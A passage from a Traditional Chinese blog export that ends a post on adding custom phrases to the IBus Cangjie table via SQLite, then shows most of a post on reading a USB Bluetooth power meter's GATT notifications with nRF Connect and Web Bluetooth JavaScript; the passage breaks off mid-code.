<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTYOTCYksMeF2VgiTOnogOcxXMJ-2l1Z__l_BdP6YqQ0Jl7iRq9ZgrV1t-4eVV0scYPKw5dZC3GTV0EMqzIbL1maZssXki9mq5rqxj5iVTjDVhCmVn0Z4rCgxX-6GMyju3cr4JQjuVFnfTl3OOrurlRduGgU-PgzbS20PBjxN5mFg_05DLNcxB46Cdh1c/w0/ibus-custom-phrases-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTYOTCYksMeF2VgiTOnogOcxXMJ-2l1Z__l_BdP6YqQ0Jl7iRq9ZgrV1t-4eVV0scYPKw5dZC3GTV0EMqzIbL1maZssXki9mq5rqxj5iVTjDVhCmVn0Z4rCgxX-6GMyju3cr4JQjuVFnfTl3OOrurlRduGgU-PgzbS20PBjxN5mFg_05DLNcxB46Cdh1c/w600/ibus-custom-phrases-034.png"/></a></div>
<div>由於 IBus 避免經常存取系統資料增加資源負擔,會將輸入法的內容暫存到使用者目錄<br/>
因此即使將自訂聯想字列表的內容修改或刪除,輸入時仍然會顯示原本的資料<br/>
需要整個 <span class="mra-highlighter">/home/mra/.local/share/ibus-table</span> 目錄刪除,然後重新啟動 IBus 才能完全更新的聯想字列表<br/>
(新增的內容則會立即生效)</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>由於在下小時候已經懂得使用倉頡輸入法,因此即使 IBus 沒有提供聯想字對在下沒有太多影響<br/>
但聯想字列表的確可以方便輸出文字,所以在下亦嘗試加入一些常用詞語到 IBus資料表</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://wiki.archlinux.org/title/IBus">IBus @ ArchWiki</a></li>
<li><a href="https://help.gnome.org/misc/release-notes/3.6/i18n-ibus.html">IBus @ GNOME</a></li>
</ul>
</div><!--
<div>例如在下使用倉頡3,檔案位置 /usr/share/ibus-table/tables/cangjie3.db</div>
<br/>
<div>IBus 使用 SQLite資料庫格式 作為資料及設定檔案<br/>
雖然 SQLite格式 並非純文字格式,但 SQLite 是一種開源資料庫管理系統,只需要使用 SQL指令 便可以存取內容</div>
<br/>
<div>在 Terminal 輸入</div>
<pre class="brush:bash">sudo apt install sqlite3</pre>
<div>或 <a href="apt:sqlite3">按此按裝 SQLite3</a></div>
<br/>
<div>安裝 SQLite3 後,輸入</div>
<pre class="brush:bash">echo ".tables" | sqlite3 "/usr/share/ibus-table/tables/cangjie3.db"</pre>
<div>會列出資料庫中所有資料表</div>
<div>
<ul>
<li>goucima 為 文字的構詞碼</li>
<li>ime 為 輸入法的設定值</li>
<li>phrases 為 配詞文字</li>
<li>pinyin 為 中文輸入法的拼音內容</li>
</ul>
</div>
<br/>
<div>要自訂聯想字列表主要是在 phrases 資料表中加入需要文字內容</div>
<div>要變動 phrases 資料表 的內容,需要了解結構,輸入:</div>
<pre class="brush:sql">echo ".schema phrases" | sqlite3 "/usr/share/ibus-table/tables/cangjie3.db"</pre>
<div>會顯示 phrases 資料表 的結構</div>
<pre class="brush:sql">CREATE TABLE phrases (
id INTEGER PRIMARY KEY,
tabkeys TEXT,
phrase TEXT,
freq INTEGER,
user_freq INTEGER
);</pre>
<div>
<ul>
<li>id 為 主鍵,任意不重覆整數</li>
<li>tabkeys 為 以鍵盤輸入的字符</li>
<li>phrase 為 輸出的文字內容</li>
<li>freq 為 當不使用動態排列時排列次序,數值越大越優先;如果相同則按 id 小至大排列</li>
<li>user_freq 為 當使用動態排列時排列次序,數值越大越優先,輸出對應的文字內容後,數值會增加1;如果相同則按 id 小至大排列</li>
</ul>
</div>
<br/>
<div>了解結構及用途後便可以輸入 SQL指令 來修改資料表,按需要增加聯想字列表<br/>
例如在下想輸入 今 後,可以選擇配詞 今日 今天 今次 ,先輸入:</div>
<pre class="brush:sql">echo "SELECT * FROM phrases WHERE phrase = '今';" | sqlite3 "/usr/share/ibus-table/tables/cangjie3.db"</pre>
<div>傳回結果,例如:</div>
<pre class="brush:sql">7798|oin|今|500|0</pre>
<div>為了方便管理,因此將原本的 id 之前加上 100 ,再將每增加個再加 1<br/>
例如原本的 id 是 7798 ,配詞的 id 為 1007798, 1017798 ,如此類推</div>
<a name="header_01"></a><h4 class="mra-h4">header_01</h4>
<div><a href="https=w0"><img src="https=w600" width="600" alt="見下文" title="見下文"></a></div>
<div>說明</div>
<br/>
<a name="header_01_01"></a><h5 class="mra-h5">header_01_01</h5>
<div><a href="https=w0"><img src="https=w600" width="600" alt="見下文" title="見下文"></a></div>
<div>說明</div>
<br/>
<a name="header_01_01_01"></a><h6 class="mra-h6">header_01_01_01</h6>
<div><a href="https=w0"><img src="https=w600" width="600" alt="見下文" title="見下文"></a></div>
<div>說明</div>
<br/>-->HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-33835141622550232262023-09-24T15:37:00.003+08:002023-09-26T23:57:33.492+08:00逆向工程 USB藍牙電量檢測器 訊號並使用 Web Bluetooth API 顯示資料<div>最近在下因為需要整理大量 USB線 ,並區分 電源線 及 傳輸線,並丟棄效能太低的 USB線<br/>
及 了解流動電池預計差電時間,因此尋找一些能夠偵測 電量資訊 及 差電時間 的 電量檢測器</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#測試工具外觀">測試工具外觀</a></li>
<li><a href="#偵測藍牙訊號">偵測藍牙訊號</a></li>
<li><a href="#使用WebBluetoothAPI連接">使用 Web Bluetooth API 連接</a></li>
<li><a href="#分析訊號">分析訊號</a></li>
<li><a href="#控制訊號">控制訊號</a></li>
<li><a href="#指令及功能">指令及功能</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="測試工具外觀"></a><h4 class="mra-h4">測試工具外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdhnRRnQXszEBsLDOZpprcpkQuUe8E1Pbx8KGsuc-G6gV5kMy42DTNHgMTba4XWkYYd4YgSWkBzJc0-wb6l16mtMuJHtgYvTCfTdKwQGsq9X0_JqVEx2oYF1qZRqvvRVCWY52H7m4IcWhfPmtS-IrO0zQ2TYFYVIQfTrxqSwiQd8J90PClngqzLEvMGG0/w0/web-bluetooth-serial-data-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdhnRRnQXszEBsLDOZpprcpkQuUe8E1Pbx8KGsuc-G6gV5kMy42DTNHgMTba4XWkYYd4YgSWkBzJc0-wb6l16mtMuJHtgYvTCfTdKwQGsq9X0_JqVEx2oYF1qZRqvvRVCWY52H7m4IcWhfPmtS-IrO0zQ2TYFYVIQfTrxqSwiQd8J90PClngqzLEvMGG0/w600/web-bluetooth-serial-data-001.jpg"/></a></div>
<div>USB藍牙電量檢測器 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzP9BzcChGcitEZksgYpwGyOWHEUQ_-4-GPuiGomCaqtbtGzNbcYWjhpS6iyGZ-datH6NDLrXpjZSvwvntc9LW62Eq1MNnAAYLIjl7RKJCrpkYBIQj2AydPfW5iBu-GW-QuHgPXLocXt6tAEOLO6tfjIt4bQwycZBDr3Q8VRX84O66LfoSpkge3K26EZI/w0/web-bluetooth-serial-data-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzP9BzcChGcitEZksgYpwGyOWHEUQ_-4-GPuiGomCaqtbtGzNbcYWjhpS6iyGZ-datH6NDLrXpjZSvwvntc9LW62Eq1MNnAAYLIjl7RKJCrpkYBIQj2AydPfW5iBu-GW-QuHgPXLocXt6tAEOLO6tfjIt4bQwycZBDr3Q8VRX84O66LfoSpkge3K26EZI/w600/web-bluetooth-serial-data-002.jpg"/></a></div>
<div>USB藍牙電量檢測器 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBTIPuO2ygar246-8Uehx8JrzeBHvs35t5hY3iKC128fTOso7A9HEp04eeILNErPQpNodQRHM24gmmac064nqgAyXq8CVflw5yEG0j69LkswrNcZZr_T3KMU7KmxF7ZAlUkNHhGRIyuvv5FUQyu1Hjv5P7g34ccRjLUxfVe1iRGgyaVmTf6OjTzgcvzNY/w0/web-bluetooth-serial-data-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBTIPuO2ygar246-8Uehx8JrzeBHvs35t5hY3iKC128fTOso7A9HEp04eeILNErPQpNodQRHM24gmmac064nqgAyXq8CVflw5yEG0j69LkswrNcZZr_T3KMU7KmxF7ZAlUkNHhGRIyuvv5FUQyu1Hjv5P7g34ccRjLUxfVe1iRGgyaVmTf6OjTzgcvzNY/w600/web-bluetooth-serial-data-003.jpg"/></a></div>
<div><span class="mra-highlighter">WCH</span> 的 <span class="mra-highlighter">CH573F晶片</span>,內置 <span class="mra-highlighter">藍牙低功耗</span> 功能</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFWHPvIKa20ZRABabDD8KE09acZDK_lmFf0At9ZAo6_ADp1Vl47Nk2KqDqKQb8NPAfvhp0hWo6j1Z5W4O2hU_rULfnI_vleSqIQgMb7cSL3wqbB7BPxQFqFE-cgm1aViAT5Rnq2I4Ic1GH75d1Y8GAMmycqrpmADCzAZnYC08d1coTZkls8bJFqjW0ZpQ/w0/web-bluetooth-serial-data-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFWHPvIKa20ZRABabDD8KE09acZDK_lmFf0At9ZAo6_ADp1Vl47Nk2KqDqKQb8NPAfvhp0hWo6j1Z5W4O2hU_rULfnI_vleSqIQgMb7cSL3wqbB7BPxQFqFE-cgm1aViAT5Rnq2I4Ic1GH75d1Y8GAMmycqrpmADCzAZnYC08d1coTZkls8bJFqjW0ZpQ/w600/web-bluetooth-serial-data-004.jpg"/></a></div>
<div><span class="mra-highlighter">JL</span> 的 <span class="mra-highlighter">BPOK240晶片</span>,但無法找到相關的 資料表</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaC_W5Gjjht1xM1Q-Fy8SRcpen0BpOj1GToyc5k8bFhx4W_WwchP7PdRawQFXU9XGKYYOOyZp0wcIyE_bFlU15Twi5HMEAC6IalS9s0hEohSiQ2ZokUKwmkN03iQUxJT-IbXRe5s5DphqakgOSDDMV0YdJRVQBjQNncjRG-KezoSIXD_PgI6cNddPZ22I/w0/web-bluetooth-serial-data-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaC_W5Gjjht1xM1Q-Fy8SRcpen0BpOj1GToyc5k8bFhx4W_WwchP7PdRawQFXU9XGKYYOOyZp0wcIyE_bFlU15Twi5HMEAC6IalS9s0hEohSiQ2ZokUKwmkN03iQUxJT-IbXRe5s5DphqakgOSDDMV0YdJRVQBjQNncjRG-KezoSIXD_PgI6cNddPZ22I/w600/web-bluetooth-serial-data-005.jpg"/></a></div>
<div>接駁電源後會顯示 <span class="mra-highlighter">電量</span> 、 <span class="mra-highlighter">溫度</span> 、 <span class="mra-highlighter">累計時間</span> 等資料</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3xyVZWYrpO5zb9OwUIo5IAFvcA3sT91TEmIhCHJ5Iu2X1YSDkmaXPRUytYAvxloHMKef1oKBatQZ5Ud4I5uJeDGorIwqzAqlBl99dl1lfi0FccUitFeH5x9jVWOQmjZkcATKFkUYjYU6TpfLOtJYnmSmkR8i-4r1trwhMtn3c4RpuCRqYbDlWstoxcys/w0/web-bluetooth-serial-data-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3xyVZWYrpO5zb9OwUIo5IAFvcA3sT91TEmIhCHJ5Iu2X1YSDkmaXPRUytYAvxloHMKef1oKBatQZ5Ud4I5uJeDGorIwqzAqlBl99dl1lfi0FccUitFeH5x9jVWOQmjZkcATKFkUYjYU6TpfLOtJYnmSmkR8i-4r1trwhMtn3c4RpuCRqYbDlWstoxcys/w600/web-bluetooth-serial-data-006.png"/></a></div>
<div>要透過藍牙檢視資料,必須在 Android 或 iOS 指定的應用程式才能顯示資料</div>
<br/>
<div>但在下對於一定要使用電話應用程式檢視資料覺得非常麻煩<br/>
因此在下嘗試使用 <span class="mra-highlighter">Web Bluetooth API</span> 來存取資料<br/>
如果成功,便可以在電腦上使用 <span class="mra-highlighter">網頁瀏覽器</span> 檢視資料</div>
<br/>
<a name="偵測藍牙訊號"></a><h4 class="mra-h4">偵測藍牙訊號</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaGU-tkVzg2-YM5NKDYCyH1tDErP5LzYfqeLjNczT1jhMvCUFewXeYMdtVcO9cgIBq904GMaWMY18ltf839C-B9FHFLRLSu5bEivNnBR-JVRk-_WgzQuWNBMvjF8F8fu5cu2s8DJ8SnNgk8NgPBOnwJkhRpkUBH66RiEoENTwo1ru8y6F2-VFg32azFrY/w0/web-bluetooth-serial-data-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaGU-tkVzg2-YM5NKDYCyH1tDErP5LzYfqeLjNczT1jhMvCUFewXeYMdtVcO9cgIBq904GMaWMY18ltf839C-B9FHFLRLSu5bEivNnBR-JVRk-_WgzQuWNBMvjF8F8fu5cu2s8DJ8SnNgk8NgPBOnwJkhRpkUBH66RiEoENTwo1ru8y6F2-VFg32azFrY/w600/web-bluetooth-serial-data-007.png"/></a></div>
<div>在下使用由 <span class="mra-highlighter">Nordic Semiconductor</span> 提供的 <span class="mra-highlighter">藍牙訊號檢查工具</span> 來分析藍牙裝置所發出的訊號</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie0IwYunlG38A2qClj8TVJ1VtgDRG0roV0CsXTJjeBn21O8KrPU36cCgbs6xWaewFLgk0-KwDInu_HnZ91sABiDqmRqR0ujU1Tw7lzBj2IcxnAumBgeMtHIaIsNXjZG_5hL3prmo12oT7YxPJqiU6XU-F1qu3Lmx1_Wt0PHodjOJXfroEqTitPLyhjvrw/w0/web-bluetooth-serial-data-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie0IwYunlG38A2qClj8TVJ1VtgDRG0roV0CsXTJjeBn21O8KrPU36cCgbs6xWaewFLgk0-KwDInu_HnZ91sABiDqmRqR0ujU1Tw7lzBj2IcxnAumBgeMtHIaIsNXjZG_5hL3prmo12oT7YxPJqiU6XU-F1qu3Lmx1_Wt0PHodjOJXfroEqTitPLyhjvrw/w600/web-bluetooth-serial-data-008.png"/></a></div>
<div>連接後會顯示藍牙裝置的 <span class="mra-highlighter">服務(Service)</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJvDPqtNmn4PMpCTZEf89iRSlxT61rj5pvyLEJOqlsk6WZM0NHsYWs2xzKVa5MIgmcebeXbyILbyuB5QU720Qi3kWD6ERJW67YeulWJoYPNOe9-54KYciRQe1m1jo-hMU1SyZC2DVfxZUpQ4Wfe_ZEIOrkI7oV9OrcXuY-K11pPBDs9NYsxCiSRyZ_Cm4/w0/web-bluetooth-serial-data-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJvDPqtNmn4PMpCTZEf89iRSlxT61rj5pvyLEJOqlsk6WZM0NHsYWs2xzKVa5MIgmcebeXbyILbyuB5QU720Qi3kWD6ERJW67YeulWJoYPNOe9-54KYciRQe1m1jo-hMU1SyZC2DVfxZUpQ4Wfe_ZEIOrkI7oV9OrcXuY-K11pPBDs9NYsxCiSRyZ_Cm4/w600/web-bluetooth-serial-data-009.png"/></a></div>
<div>點選 <span class="mra-highlighter">更多選項圖示</span> > <span class="mra-highlighter">Show log</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzVqXKpB_ERPk-awsf4A8LSP2mnDp-jis_Z-ZP5CUD4vRbn3wO_CjaCgm-haQde0eet2b2g53UiYl99xeGkaI5j3r85p7wpEzumZKxrZm0sixTrgBE7H2H36PHtLOCiX7mkvwCFWRzYtU_FshuolkzWg22krZU1G3Rw10NYAeX8rsN55CV9Tok_4WLcGY/w0/web-bluetooth-serial-data-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzVqXKpB_ERPk-awsf4A8LSP2mnDp-jis_Z-ZP5CUD4vRbn3wO_CjaCgm-haQde0eet2b2g53UiYl99xeGkaI5j3r85p7wpEzumZKxrZm0sixTrgBE7H2H36PHtLOCiX7mkvwCFWRzYtU_FshuolkzWg22krZU1G3Rw10NYAeX8rsN55CV9Tok_4WLcGY/w600/web-bluetooth-serial-data-010.png"/></a></div>
<div>將檢視內容的詳細程度改變為 <span class="mra-highlighter">DEBUG</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_JU7f8hAlGKiqMHfo4PJdrq6xulA6uP4qH-dHuce3wsUQrxGcqFBQ81ELLUWXC4Ku4l3xK2y3F2G5fYdnPnjO2cuvE7E5UE0pbNdZCux7G1ls7Bpb4rfwIaZuEkeP79bvuaJTk0x7rII9CyLKUxqO-_q_ujxzEVPXVwj7Ecds94ZJHZuewtwxiTc_ae4/w0/web-bluetooth-serial-data-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_JU7f8hAlGKiqMHfo4PJdrq6xulA6uP4qH-dHuce3wsUQrxGcqFBQ81ELLUWXC4Ku4l3xK2y3F2G5fYdnPnjO2cuvE7E5UE0pbNdZCux7G1ls7Bpb4rfwIaZuEkeP79bvuaJTk0x7rII9CyLKUxqO-_q_ujxzEVPXVwj7Ecds94ZJHZuewtwxiTc_ae4/w600/web-bluetooth-serial-data-011.png"/></a></div>
<div>除了顯示一般服務外,即使標示為 <span class="mra-highlighter">不明(Unknown)</span> 都會顯示所有資料</div>
<br/>
<div>例如在下使用的 USB藍牙電量檢測器 顯示資料</div>
<pre class="brush:bash">Unknown Service (0000ffe0-0000-1000-8000-00805f9b34fb)
- Unknown Characteristic [N W WNR] (0000ffe1-0000-1000-8000-00805f9b34fb)
Client Characteristic Configuration (0x2902)
- Unknown Characteristic [W WNR] (0000ffe2-0000-1000-8000-00805f9b34fb)</pre>
<div>當中的:
<ul>
<li><span class="mra-highlighter">N</span> 表示 <span class="mra-highlighter">通知(Notify)</span></li>
<li><span class="mra-highlighter">W</span> 表示 <span class="mra-highlighter">寫入(Write)</span></li>
<li><span class="mra-highlighter">WNR</span> 表示 <span class="mra-highlighter">寫入但不回應(Write No Response)</span></li>
</ul>
</div>
<div>再顯示指令</div>
<pre class="brush:bash">gatt.setCharacteristicNotification(0000ffe1-0000-1000-8000-00805f9b34fb, true)</pre>
<div>表示測試中,使用了 <span class="mra-highlighter">0000ffe1-0000-1000-8000-00805f9b34fb</span> <span class="mra-highlighter">特徵(Characteristic)</span></div>
<br/>
<div>使用 0000ffe0-0000-1000-8000-00805f9b34fb 服務,並連接到 0000ffe1-0000-1000-8000-00805f9b34fb 特徵獲取資料<br/>
由於 0000ffe1-0000-1000-8000-00805f9b34fb 特徵 擁有 通知 屬性,藍牙裝置根據特定週期自動向 <span class="mra-highlighter">宿主(Host)</span> 回應資料<br/>
而不需要 宿主 不斷主動發送請求來獲取資料</div>
<br/><!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmgy0maA8VpSJjf3Kn6K23RjhMBTQfjClp65_SKd8YS-6Gr2QfukXcQq3ltA-yYxSqt9bizGe5QhSQugqNilSeGeBRm2aIuKWRob9jlA_SEbCIaOSl6RW8qnLTI-BwvKtgoQaiWGIICOkPHOqRWL3TWOqiexKu_KpMMIripeCv2SfmmKNMyQAcQoRTxE4/w0/web-bluetooth-serial-data-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmgy0maA8VpSJjf3Kn6K23RjhMBTQfjClp65_SKd8YS-6Gr2QfukXcQq3ltA-yYxSqt9bizGe5QhSQugqNilSeGeBRm2aIuKWRob9jlA_SEbCIaOSl6RW8qnLTI-BwvKtgoQaiWGIICOkPHOqRWL3TWOqiexKu_KpMMIripeCv2SfmmKNMyQAcQoRTxE4/w600/web-bluetooth-serial-data-012.png"/></a></div>
<div>說明說明說明說明說明</div>
<br/>-->
<a name="使用WebBluetoothAPI連接"></a><h4 class="mra-h4">使用 Web Bluetooth API 連接</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYXRv5IWTnmmFfTbcqbshv0MDCIQtVcFn2aWnrE4AJyDIGSYUn8_KtOciFT8wzP7B0iEKEHQS01n8se6xYwuzVSYD9L1_duEfS3s9AUZSy2eVNkE9zkTxI8_qO-51FyD9NBqN972zPEg0WGgmynun5R_sDA0p6ii_j_x1_29K9eQubQtK-pUaaM8Nr4ZY/w0/web-bluetooth-serial-data-017.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYXRv5IWTnmmFfTbcqbshv0MDCIQtVcFn2aWnrE4AJyDIGSYUn8_KtOciFT8wzP7B0iEKEHQS01n8se6xYwuzVSYD9L1_duEfS3s9AUZSy2eVNkE9zkTxI8_qO-51FyD9NBqN972zPEg0WGgmynun5R_sDA0p6ii_j_x1_29K9eQubQtK-pUaaM8Nr4ZY/w0/web-bluetooth-serial-data-017.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRKLvWIJBQJqiVuc4QNblzWEoSx4nms-42yWEd-6YduJjm3v5KOiKofymEmgi1x1J1jax_tSL8ka8enHAFAb4sW1yDwDG5hVumQaozV6Juyf_WlF3n2rG-UBlO057UIK0agZBC6kWZEdtpBwvbCzc_K1FCPgcVcTkYqwJ3efixzX0PPognc90YWMXf5Hw/w0/web-bluetooth-serial-data-018.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRKLvWIJBQJqiVuc4QNblzWEoSx4nms-42yWEd-6YduJjm3v5KOiKofymEmgi1x1J1jax_tSL8ka8enHAFAb4sW1yDwDG5hVumQaozV6Juyf_WlF3n2rG-UBlO057UIK0agZBC6kWZEdtpBwvbCzc_K1FCPgcVcTkYqwJ3efixzX0PPognc90YWMXf5Hw/w0/web-bluetooth-serial-data-018.png"/></a></div>
<div>暫時只有 <span class="mra-highlighter">Chromium Base</span> 的網頁瀏覽器才支援 Web Bluetooth API ,在下使用 Chrome 測試<br/>
Chrome 的 Web Bluetooth API 預設沒有啟動,需要到 <a href="chrome://flags">chrome://flags</a> 搜尋 Bluetooth<br/>
並將 Web Bluetooth API 的功能啟動,再重新啟動網頁瀏覽器,才能使用 Web Bluetooth API</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhDgVm64aKfQHPhfnMSKRFlFxRrW4Y5iGO1ozV1Pzn-W62sIx4pvSfucvcmQnc64APUN-jnsbK6Q-Q4iREpa5orxlwKetCaDgigZLCSPD74z8719B-ygFewDDGzyxliVgsmdhNnd_v0D4kW6AwR6__F49Txotg1yDMlrzhIxzEDKYRPnvGOciQSLKrrNY/w0/web-bluetooth-serial-data-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhDgVm64aKfQHPhfnMSKRFlFxRrW4Y5iGO1ozV1Pzn-W62sIx4pvSfucvcmQnc64APUN-jnsbK6Q-Q4iREpa5orxlwKetCaDgigZLCSPD74z8719B-ygFewDDGzyxliVgsmdhNnd_v0D4kW6AwR6__F49Txotg1yDMlrzhIxzEDKYRPnvGOciQSLKrrNY/w600/web-bluetooth-serial-data-013.png"/></a></div>
<div>在下製作一個簡單的 HTML檔案 測試藍牙連接</div>
<pre class="brush:js">// javascript.js
function WebBluetoothAPI(serviceUUID, characteristicUUID) {
this.connect = function() {
navigator.bluetooth.requestDevice({
"filters": [
{
"services": [
serviceUUID
]
}
]
}).then(function(device) {
console.log("device found");
return device.gatt.connect();
}).then(function(server) {
console.log("server found");
return server.getPrimaryService(serviceUUID);
}).then(function(service) {
console.log("service found");
return service.getCharacteristic(characteristicUUID);
}).then(function(characteristic) {
console.log("characteristic found");
}).catch(function(exception) {
console.log(exception);
});
};
}</pre>
<pre class="brush:html"><!-- index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Web Bluetooth API</title>
<script src="javascript.js"></script>
<script>
var webBluetoothAPI = new WebBluetoothAPI("0000ffe0-0000-1000-8000-00805f9b34fb", "0000ffe1-0000-1000-8000-00805f9b34fb");
</script>
</head>
<body>
<button onclick="webBluetoothAPI.connect();">Connect</button>
</body>
</html></pre>
<div>按下 <span class="mra-highlighter">Connect</span> 後,會顯示附近的 藍牙訊號<br/>
選擇 USB藍牙電量檢測器 的裝置,然後按 <span class="mra-highlighter">配對</span>,便會連接 藍牙裝置</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj88XxpoKbSfy6Z-RyUPBKhSzDDs6uPsrBYGcnSiyLEUeMi9smZtEwBE1iiE4fnYvzkKHQRUS17zLBsNnKbKQiI7DvR_YA6qG9afKNJeLsvKEzfMiBPL-gbLAdFo-pVE3KIMDFuoKdOTvRSY1TRr-rWqSLAWTtumZXkbIaDIB69PebhhtKs9kImZIGWQdI/w0/web-bluetooth-serial-data-014.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj88XxpoKbSfy6Z-RyUPBKhSzDDs6uPsrBYGcnSiyLEUeMi9smZtEwBE1iiE4fnYvzkKHQRUS17zLBsNnKbKQiI7DvR_YA6qG9afKNJeLsvKEzfMiBPL-gbLAdFo-pVE3KIMDFuoKdOTvRSY1TRr-rWqSLAWTtumZXkbIaDIB69PebhhtKs9kImZIGWQdI/w600/web-bluetooth-serial-data-014.png"/></a></div>
<div>由於在下使用 <span class="mra-highlighter">console.log</span> 輸出資料,因此需要開啟 <span class="mra-highlighter">開發人員工具</span> 檢視輸出內容</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Otl5jOQKRVZCnZwnxQCfZsHiklGjn3qr01rZ2JG1Bf8Qn9eFKIMaP-IIiRjKmhkvneSLRexft7ivPMFJrDkt2AG0oCOnDVPP9TCWteTNQCZL9bg9HndehJQUTVOZE5Yf11LOeYcOTMKdtjyD3M99UNKdKxl3gVZG8et_ZBsY7AA2CIEmwed3gwB213U/w0/web-bluetooth-serial-data-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Otl5jOQKRVZCnZwnxQCfZsHiklGjn3qr01rZ2JG1Bf8Qn9eFKIMaP-IIiRjKmhkvneSLRexft7ivPMFJrDkt2AG0oCOnDVPP9TCWteTNQCZL9bg9HndehJQUTVOZE5Yf11LOeYcOTMKdtjyD3M99UNKdKxl3gVZG8et_ZBsY7AA2CIEmwed3gwB213U/w600/web-bluetooth-serial-data-015.jpg"/></a></div>
<div>接駁到 <span class="mra-highlighter">負載(Load)</span> ,USB藍牙電量檢測器 會顯示差電資料,並開始計時</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhywXa34n7YOf_fzYcp1aOCOT_m3y2JKydk6Y_HmYcXH-GlFMXZHJacvISSMGG5fgf-MSmKMJnys1_LUe9FgQU4glzoIFLw87fH18_CvXdNnzSMq87XSXzehyyr-vK1DEyE4C39QIEZpUw5s_tJCKYGdeR291I1pW6iKe3Mk4-I0B41o8sLrrlJ7_98LkI/w0/web-bluetooth-serial-data-016.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhywXa34n7YOf_fzYcp1aOCOT_m3y2JKydk6Y_HmYcXH-GlFMXZHJacvISSMGG5fgf-MSmKMJnys1_LUe9FgQU4glzoIFLw87fH18_CvXdNnzSMq87XSXzehyyr-vK1DEyE4C39QIEZpUw5s_tJCKYGdeR291I1pW6iKe3Mk4-I0B41o8sLrrlJ7_98LkI/w600/web-bluetooth-serial-data-016.png"/></a></div>
<div>確認能夠連接到 藍牙裝置 後,嘗試獲取 通知 的資料</div>
<pre class="brush:js">// javascript.js
function WebBluetoothAPI(serviceUUID, characteristicUUID) {
this.connect = function() {
navigator.bluetooth.requestDevice({
"filters": [
{
"services": [
serviceUUID
]
}
]
}).then(function(device) {
console.log("device found");
return device.gatt.connect();
}).then(function(server) {
console.log("server found");
return server.getPrimaryService(serviceUUID);
}).then(function(service) {
console.log("service found");
return service.getCharacteristic(characteristicUUID);
}).then(function(characteristic) {
console.log("characteristic found");
characteristic.startNotifications().then(function() {
console.log("notification started");
characteristic.addEventListener("characteristicvaluechanged", characteristicvaluechangedEventHandler);
});
}).catch(function(exception) {
